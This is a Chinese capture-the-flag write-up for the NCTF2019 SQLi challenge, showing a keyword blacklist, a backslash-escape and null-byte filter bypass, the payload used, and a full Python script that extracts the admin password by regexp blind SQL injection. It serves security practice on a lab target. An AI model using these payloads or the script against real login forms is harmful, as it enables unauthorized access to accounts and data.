[NCTF2019]SQLi ---不会编程的崽

欸嘿,继续sql注入。又是新的sql注入类型

 很直接哦,给出了sql查询语句。简单扫描一下,robots.txt还能访问。里边提示hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

 过滤了一些东西,而且只要密码对了就能拿到flag。来看看fuzz结果吧 。

 

过滤有点多哦,而且我还没放完。单引号被过滤了,一刀砍在大动脉。但是路堵了,不代表窗户也封了。我突然想到反斜杠将引号转义,在将后边的引号注释掉不就绕过了吗?思路的确是这个思路,不过常规盲注与常规注入关键字被过滤差不多,看了大佬wp,说重点在regexp上。

payload大概就是这个样子

username=\&passwd=||(True);%00

 查询语句变成了以下形式。其中一个单引号被 \ 影响,成了普通字符,导致单引号闭合错误

select * from users where username='\' and passwd='||(True);%00'

 ;%00代替注释符

 ()代替空格。%09 /**/也是可以的代替空格的

返回正确会有一个welcome.php。接下来就是脚本运行正则盲注了

||(passwd)regexp("^Yo");%00 

含义:匹配当前表下,passwd列里的内容是否为YO或者yo。

说真的这种写法第一次见还是有点突兀。因为是正则匹配,所以在脚本中,一定要过滤掉通配符("*","+","?")。不然脚本就会一直卡在通配符。而且这个passwd列名,是猜的。估计是hint.txt里有个passwd。。。。

import requests
from urllib import parse

flag=''
url='http://019f0128-771d-48bb-8dab-8b6e9995ca8d.node5.buuoj.cn:81/index.php'
for i in range(1,500,1):
     for y in range(1,128,1):
         x=flag+chr(y)
         data='||passwd/**/regexp/**/"^{}";{}'.format(parse.unquote(x),parse.unquote('%00'))  #%00也要解码
         #print(chr(y))
         content = {
             'username': '\\',                   #防转义
             'passwd': data
         }
         #print(data)
         datas=requests.post(url=url,data=content)
         if chr(y)=='*' or chr(y)=='+' or chr(y)=='?':   #因为是正则匹配,所以要过滤通配符
             continue
         elif "welcome" in datas.text:
             flag=flag+chr(y)
             print(flag)
             break

 自己写的脚本有点烂,见谅。

 

因为大小写不区分,所以这里还得转小写。

print('YOU_WILL_NEVER_KNOW7788990'.lower())
#you_will_never_know7788990

登录就能拿到flag了 。

 

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-24 08:40:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-24 08:40:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-24 08:40:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-24 08:40:02       18 阅读

热门阅读

  1. Python学习(二):python常用命令

    2024-03-24 08:40:02       16 阅读
  2. Superset二次开发之 配置Docker

    2024-03-24 08:40:02       15 阅读
  3. Kafka系列之:Kafka Connect REST API

    2024-03-24 08:40:02       18 阅读
  4. go实现协程池

    2024-03-24 08:40:02       17 阅读
  5. 前端框架是什么

    2024-03-24 08:40:02       16 阅读
  6. 上位机开发 halcon坐标转轴坐标

    2024-03-24 08:40:02       14 阅读
  7. 区块链与智能合约

    2024-03-24 08:40:02       17 阅读
  8. 机器翻译.

    2024-03-24 08:40:02       17 阅读
  9. 深度学习在遥感图像处理中的应用

    2024-03-24 08:40:02       18 阅读
  10. 从架构角度结合分布式缓存和本地缓存

    2024-03-24 08:40:02       16 阅读
  11. python函数

    2024-03-24 08:40:02       19 阅读
  12. 继承和深拷贝封装

    2024-03-24 08:40:02       20 阅读
  13. 大模型: 提示词工程(prompt engineering)

    2024-03-24 08:40:02       18 阅读